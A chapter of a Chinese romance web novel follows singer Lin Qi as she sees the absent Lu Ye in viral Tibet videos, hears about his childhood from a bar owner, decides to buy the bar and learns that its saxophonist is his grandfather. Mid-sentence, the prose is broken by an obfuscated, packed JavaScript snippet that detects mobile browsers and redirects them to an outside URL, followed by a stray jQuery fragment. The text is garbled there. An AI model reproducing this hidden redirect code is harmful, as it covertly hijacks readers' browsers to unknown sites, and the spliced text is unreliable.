一整个夏天，陆野失去音讯。


    乐坛新歌层出不穷，忘记一个人很快，即便是天王巨星，不再有新闻和热点挂在身上，也会渐渐被遗忘。


    相反地，上升期的林栖忙得昏天黑地，第三张专辑如火如荼地开始制作，全国巡演开得风生水起。


    她终于摸到一点点，陆野曾经如日中天时的感觉了——


    会在粉丝的拥趸中不小心膨胀，也会在某个寂静的深夜患得患失，盘算着自己的花期还剩多久。


    十一月秋风乍起，下了场淅淅沥沥的小雨，气温渐凉。


    林栖得空去给爷爷过生日，仍旧是错开家庭聚会的正日子，独自前往。


    这次是她自己尝试做的寿桃蛋糕，用罗汉果汁代替砂糖，一个大大粉红色寿桃，花了一整天时间，做得有模有样。


    尽管食材都相当健康，她还是不让爷爷多吃。


    “您尝尝就行，意思一下。”她切下一小块。


    爷爷说，“这个年纪，医生都说想吃啥吃啥，还在意什么？”


    林栖皱了皱鼻子，不知道说什么好。


    晚饭时，听爷爷说，何爱盈和她爸妈已经很久没来看过他了。


    自从陆祖煦刺伤陆野，丑态曝光后，何爱盈很快就被《ShiningGirls》淘汰出局，合作品牌尽数割席，从此再也没有水花。


    原先的经济公司被容凝嘉接手后，无限期冷藏了很多艺人，何爱盈就是其中一个，想要解约，她还要付天价违约费。


    前阵子有八卦杂志拍到陆祖煦身现澳门赌场，模样浪荡萎靡，身边是别的女人。


    当初从陆祖煦那里得的好处，不知道何爱盈能够留下多少。


    林栖拿出手机搜索何爱盈的名字，出现一个网剧，她在里面饰演恶毒女配。


    林栖拨动进度条，挑了半天，选了一个不那么五官乱飞的片段给爷爷看，安慰老人说：“爱盈她拍戏很忙，剧组不让随便出来，您别担心。”


    爷爷戴起老花镜，盯着看了很久，说不像他孙女。


    吃过晚饭从爷爷家里出来，雨已停。


    墨绿色的小轿车在拥堵的车流里走走停停，柏油马路上落了一层黄褐色的枫叶，经过大雨，被车轮碾成湿漉漉的淤泥。


    她习惯性地导航去录音棚，但其实也没有什么急需要处理的工作，习惯了忙碌，短暂地一得空，竟感到很惶恐。


    思及此，她眼神中闪过一丝弥蒙，转瞬即逝。


    等红灯的时候，手机震了几下，她拿起来处理，是几条工作信息。


    处理完，顺手切到围脖，习惯性地点进陆野久不更新的账号。


    账号依旧空空荡荡，但是陆野的名字却意外地挂在热搜上。


    她顿了顿，指尖犹豫着落在含有陆野名字地词条上，一个视频蹦出来，原来陆野在西藏被拍到了。


    视频里，一群穿着民族服饰的乐师在演奏宫廷音乐。扬琴音色如叮咚山泉，长笛如飞鹰鸣空长啸，扎木念音色古朴执拙，让人想到辽远的草原。


    陆野呢，半跪在乐师跟前，递麦克风做采样。


    绿灯亮起，林栖匆匆扫了一眼，便将手机放到一边。


    五个月没见，他的皮肤粗犷不少，黑了不止一个度，两腮布满胡渣，穿着黄色的冲锋衣，身旁是巨大的登山包，整个人想在岁月的风霜了浸渍了一番，显得旧旧的，却精壮不少。


    驶过红绿灯，林栖将车拐了个弯，驶出拥塞的车流。


    在少有人烟的小路穿行了一阵，她找到一段比较空闲的道路，将车停在路边，再次拿起手机来看。


    画面里，陆野的神情十分专注，仰视的角度看着乐师打击扬琴的，粗粝黝黑的双手，姿态带着一丝虔诚的意味，又像是沉浸地琢磨这些乐器，旋律。


    林栖会心一笑，拿出纸巾和随身携带的马克笔，画了一个满脸胡渣的圆圆脑袋，接着是身子，还有一把扎木念。


    寥寥几笔，一个盘膝坐在草原上弹扎木念的卡通形象跃然纸上。他的身前围坐了一圈圆圆的三花猫，每一只猫的头顶都有几个“ZZZ”，看来睡得很香。


    最后画了一个大太阳，将暖洋洋，绒乎乎的一张涂鸦上传到泔水车的小号。


    发完围脖，她抬头四顾，想看清这是哪里。


    街对面一溜酒吧和小饭馆，其中一间亮着暖黄色的灯光，她细看去，竟那么巧，正是陆野带她去过的那一家。


    她犹豫着下了车，朝酒馆走去。


    门一开，顶上的铜铃铛发出脆响，酒馆依旧不少人，今天是爵士之夜，没有那天非洲鼓和舞蹈的热闹，完全是另一种感觉。


    台上一个白头发绅士打扮的老头正在吹萨克斯，唱歌的是个黑人老头，嗓音犹如未经打磨的砂砾。


    “Iseeskiesofblueandcloudsofwhite”


    “Thebrightblesseddaythedarksacrednight”


    林栖找了个空位坐下来，空位靠窗，木质的窗棱复古残旧，窗外是一排银杏，路灯照着满街浅黄色的落叶。


    没一会儿，微胖的老板娘走过来跟她打招呼，满脸惊喜。


    “真没想到你会一个人来，陆野那小子，又不知道野到哪里去了。”老板娘今天穿了一件大地色的披风，里面是天鹅绒长裙，衬得她浅褐色的肌肤跟香甜的巧克力一样，眼尾的皱纹随着笑意延展，颇有味道。


    她依旧给林栖带了一份巴巴露蛋糕，慷慨地说：“你来这里吃东西不要钱。”


    林栖不好意思，“那怎么行？要给的。”


    老板娘眼中闪现一丝狡黠，瞧着她，捂嘴问道：“想他吧？”


    林栖吓了一跳，瞪大眼睛，先是惊讶，很快脸就红了起来。


    慵懒舒缓的爵士乐充斥在小酒馆上空。窗外路过一群年轻人，似乎是认出了林栖，弯腰隔着窗户跟她打招呼。


    林栖弯起眼睛回应，放在膝上的手指下意识屈起，她还是不喜欢走到哪里都会被人认出。


    那群年轻人打完招呼后并没有走，交头接耳，似乎打算要进来。


    老板娘当即拍拍林栖的手背，眉毛一扬说：“跟我来。”


    林栖一愣，站起身，带上心爱的小蛋糕，随老板娘走上通往露台的楼梯，一路躲进那个小阁楼。


    阁楼依旧温馨，就连窗边的捕梦网，都似乎在等着主人回家似的。


    “那小子有说什么时候回来吗？”老板娘问林栖。


    林栖摇头。


    “我就知道。”老板娘做出生气的表情，但随后又温柔起来，说，“那小子，其实很敏感的。看起来很厉害，很无所谓的样子，其实都是装的。我经常在想，他会不会，现在还没有从那件事中走出来。”


    “不会的，他很强大。”林栖说。


    “你知道我第一次看见那个小孩，他是什么样子吗？”老板娘望着天窗，陷入回忆，“那个时候他才五六岁，经常躲在这个阁楼，一整天不说一句话。怎么形容呢？我现在想起来，还是觉得心疼，就是一个孩子，他还有呼吸，却没有一点活着的样子。”


    老板娘说到这里，眸底浮出一层水汽，但很快摆脱悲伤，提高音量道：“我和老板都很热爱音乐的关系，楼下很热闹，几乎每天都有专场，今天是非洲之夜，明天是佛朗明哥专场。”


    “可能是听多了，这家伙来了兴趣，我忘了是哪一天，这小子居然走出阁楼，跑下来，坐在架子鼓钱。”


    林栖支着下颌，嘴角噙着温柔地笑容，眼尾湿润。


    “然后呢？”


    “然后啊，”老板娘骄傲地笑只说，“才第一次尝试啊，鼓点绝了，引得满堂喝彩，也没人教他，你说说这小子！”


    林栖笑了起来。


    “他外公和舅舅好像找到了医治他的药，泛跟音乐有关的东西，都让他听让他学，不遗余力，不计成本……然后，就有了今天的陆野。”


    “说起来，他的母亲是个罕见的美人胚子，弹得一手好钢琴。”老板娘怅然道。


    楼下的萨克斯隐隐约约传来，时间好似静止。


    两人有一句没一句地聊了许久，老板娘说正在找人接手这家店，林栖很惊讶，问她为什么。


    “没什么特别的，就是年纪大了，想休息一下，”老板娘说，“我们老两口也很舍不得，本来想让儿子来接手，可是他有他的事业，对这门生意没什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175313|155714||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么兴趣。”


    “好遗憾。”林栖说。


    “没什么遗憾的，我可以把巴巴露蛋糕的配方给你，私人的哦，其他地方都做不出来。”老板娘乐呵地冲她眨眼。


    “什么时候结束营业？”


    “不知道，找到合适的人就结束。”老板娘说，“我们尽量找喜欢这里的人，想把这里的一切都保留下来，希望新的老板能和常来演出的老伙计们相处愉快。想找这样的人不容易，慢慢看吧。我们这个年纪的人呐，看起来时间不多了，但是比起你们忙忙碌碌的年轻人，又有大把的时间。”


    .


    林栖回到家，辗转反侧了一夜。


    第二天，又驱车来到那间酒馆。


    中午还没有开始营业的时间，只有几个打扫的伙计。


    昨天吹萨克斯的老爷爷正在给一把吉他调音，似乎是认出林栖来，在台上朝她远远一笑，抬手示意老板娘在吧台。


    林栖颔首回礼，没想到会被认出来。


    她找到老板娘，开门见山说起接手酒吧的事。


    其实昨天就有这个想法，但是林栖从不做心血来潮的决定，于是回去思考了一夜。


    “如果我买下来，但是前期，偶尔还是需要你们的帮忙，可以吗？我不懂经营，可能需要慢慢学习。”


    老板娘露出惊异的神色：“你可是大明星诶，怎么有时间干这个？”


    “不可能永远这么忙的，明天的事谁知道呢？”林栖勾了勾唇角，说出自己的想法，“我不想开什么明星店，这里就保持现在的样子就好，让我慢慢接手过来。还有，不要告诉别人我是这里的老板，包括陆野。”


    老板娘思索一番，笑着说道：“好，那当然好。看得出来，你不是一个会在人群中感到自在的人，这里每天都很热闹，你却在这里很自在，我很高兴。”


    林栖又跟老板娘谈了一些细节，便起身离开。


    离开的时候，老爷爷还在跟那把吉他较劲。


    他面色凝重，耳朵紧贴着琴弦，似乎怎么调都不满意。


    林栖走上台去，提出帮忙。


    老爷爷欣然递过吉他。


    她调弦的时候，安静又细心，整个人冷静，修长白皙的手指弹拨几下，再调试松紧，动作迅速。


    “您试试。”


    对方接过来弹了一段，满意地点点头，对她束起大拇指说谢谢。


    “举手之劳而已，”林栖摆摆手，看了看时间，轻巧地跳下舞台，“我要走了，下次见。”


    老爷爷和其他乐手都微笑着目送她离开，眼神中流露出喜爱。


    林栖心下微讶，这帮乐手人太好了，明明才第二次见面而已，对自己却仿佛有种认识了很久的亲近感。


    老板娘送林栖出店门，上车的前一秒，忽然神秘地对她说道：“那个老头，不觉得眼熟吗？”


    “我认得他是昨晚吹萨克斯的老爷爷，没想到还会弹吉他，这里的老街坊都深藏不露。”林栖拧眉思考了良久，“眼熟的话……难道是某个退休的明星？”


    老板娘捂嘴笑了半天，说：“他啊，是陆野的外公。”


    .


    林栖红着脸一路逃回录音棚。


    回想起来，陆野跟外公确实有些像，还好他外貌上的遗传，多来自于母亲，只有某些极少数阴郁的时刻，让林栖想起他的企业家父亲。


    今天的日程有点满，一直录歌录到晚上转点。


    和录音师他们一起吃宵夜的时候，大家说起陆野又上热搜了。


    自从在西藏被拍到，就好像珍贵的华南虎泄露行动轨迹，深受关注。


    林栖摸出手机来看。


    只见他坐在草地上，一地粉白相间的格桑花中间，弹唱一把扎木念。


    因为是新手的关系，弹得曲调很简单，藏语也不十分地道，唯有歌声拿得出手，苍郁而辽阔，像无拘无束的苍鹰。


    一群小孩子围坐在他身前，跟他一起唱，毛茸茸的小脑袋左摇右摆。


    陆野穿着宽大的藏民服饰，晒得黝黑的皮肤有点皴裂，但是一点也不影响他英气逼人。


    他弯起眼睛，笑容灿烂，是在屏幕上，甚至在林栖的记忆里，从未见过的灿烂。